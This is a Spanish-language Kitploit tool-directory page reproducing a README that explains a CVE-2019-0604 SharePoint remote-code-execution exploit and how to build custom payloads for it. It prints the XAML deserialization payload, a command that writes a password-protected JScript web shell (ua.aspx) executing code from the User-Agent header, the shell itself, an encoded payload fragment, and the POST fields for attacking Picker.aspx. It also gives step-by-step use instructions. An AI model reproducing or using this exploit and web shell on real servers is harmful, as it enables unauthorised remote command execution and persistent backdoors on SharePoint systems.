Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2019-0604 — Explicación detallada del código del exploit RCE de SharePoint cve-2019-0604-exp.py de k8gege y creación de tu propio payload. | Kitploit
Herramientas/GitHubGitHub/boxhg/cve-2019-0604
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed Teaming
GitHubboxhg/cve-2019-0604

CVE-2019-0604

Explicación detallada del código del exploit RCE de SharePoint cve-2019-0604-exp.py de k8gege y creación de tu propio payload.

Ver Repositorio
306hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Image Pyaload Maker

I. Explicación del cve-2019-0604-exp.py de k8gege

Script de k8gege https://github.com/k8gege/CVE-2019-0604

Siendo honestos, el script py de k8gege es un poco llamativo: tiene un montón de cadenas hexadecimales divididas en payload1, 2, 3, qué mal.

El payload que el script Python envía por POST de forma remota, tras la deserialización, es un cuerpo de datos XML.

root@kitploit:~
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">
    <ObjectDataProvider.MethodParameters>
		<System:String>cmd</System:String>
		<System:String>/c echo ^&lt;%@ Page Language="Jscript" %^>^&lt;%var pwd="tom";var uastr=Request.UserAgent;if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) {var code=uastr.Replace(pwd+"===","");eval(code,"unsafe"); };%^> > "%CommonProgramFiles%\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS\\ua.aspx" </System:String>
    </ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>

Image Pyaload Maker

Es decir, ejecuta remotamente el comando echo y escribe un archivo ua.aspx en el directorio de plantillas LAYOUTS de SharePoint en el servidor.

root@kitploit:~
cmd /c echo ^&lt;%@ Page Language="Jscript" %^>^&lt;%var pwd="tom";var uastr=Request.UserAgent;if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) {var code=uastr.Replace(pwd+"===","");eval(code,"unsafe"); };%^> > "%CommonProgramFiles%\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS\\ua.aspx" 

Genera un archivo .asxp, un troyano de una sola línea para UA exclusivo de K8 Feidao; OK, shell conseguida.

root@kitploit:~
<%@ Page Language="Jscript" %>
<%
var pwd="tom";
var uastr=Request.UserAgent;
if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) 
{
    var code=uastr.Replace(pwd+"===","");
    eval(code,"unsafe"); 
};
%>

II. Crea tu propio payload

Si quieres crear tu propio payload para ejecutar comandos de forma remota, sigue estos pasos:

  1. Descarga el programa compilado desde https://github.com/boxhg/CVE-2019-0604/releases, descomprímelo y ejecuta CVE20190604Forms.exe

  2. Escribe el comando en el cuadro de texto Cmd y haz clic en el botón “Update XML”; el comando se combinará en XML.

  3. Haz clic en “EncodeEntity”; el programa serializa la cadena XML en un objeto y dispara la ejecución del payload. La cadena serializada se muestra en el cuadro de texto “payload”.

root@kitploit:~
__cp087135009700370047005600d600e2004400160047001600e20035005600270067009600360056003700e2009400e600470056002700e6001600c600e2005400870007001600e60046005600460075002700160......
  1. Esas cadenas como "__cp...." son el payload. Cópialas a cve-2019-0604-exp.py y modifica/reemplaza el payload original de k8.

  2. Al enviar el payload a Picker.aspx, hay que incluir otros parámetros. Puedes obtener los parámetros relacionados con la herramienta proxy Burp y luego pasar el valor del payload a ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData

root@kitploit:~
...

values = {
    '__REQUESTDIGEST':YOUR_REQUESTDIGEST,
    '__EVENTTARGET':'',
    '__EVENTARGUMENT':'',
    '__spPickerHasReturnValue':'',
    '__spPickerReturnValueHolder':'',
    '__VIEWSTATE':YOUR_VIEWSTATE,
    '__VIEWSTATEGENERATOR':'',
    'ctl00$PlaceHolderDialogBodySection$ctl07$queryTextBox':'',
    'ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData':**YOUR_PayloadData**,
    'ctl00$PlaceHolderDialogBodySection$ctl05$OriginalEntities':'<Entities />',
    'ctl00$PlaceHolderDialogBodySection$ctl05$HiddenEntityKey':'',
    'ctl00$PlaceHolderDialogBodySection$ctl05$HiddenEntityDisplayText':'',
    'ctl00$PlaceHolderDialogBodySection$ctl05$downlevelTextBox':'&#160;',
    '__CALLBACKID':'ctl00$PlaceHolderDialogBodySection$ctl07',
    '__CALLBACKPARAM':';#;#11;#;#;#',
    '__EVENTVALIDATION':YOUR_EVENTVALIDATION
}

data = urllib.urlencode(values)

...
  1. Ejecuta el script py, ¡¡buena suerte!!!

Se recomienda usar Burp para enviar el payload, es más conveniente

Relacionado con CVE-2019-0604:

https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability

https://github.com/linhlhq/CVE-2019-0604

https://github.com/k8gege/K8CScan/wiki/%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-CVE-2019-0604-SharePoint-GetShell-Exploit

https://github.com/k8gege/CVE-2019-0604

Descargar herramienta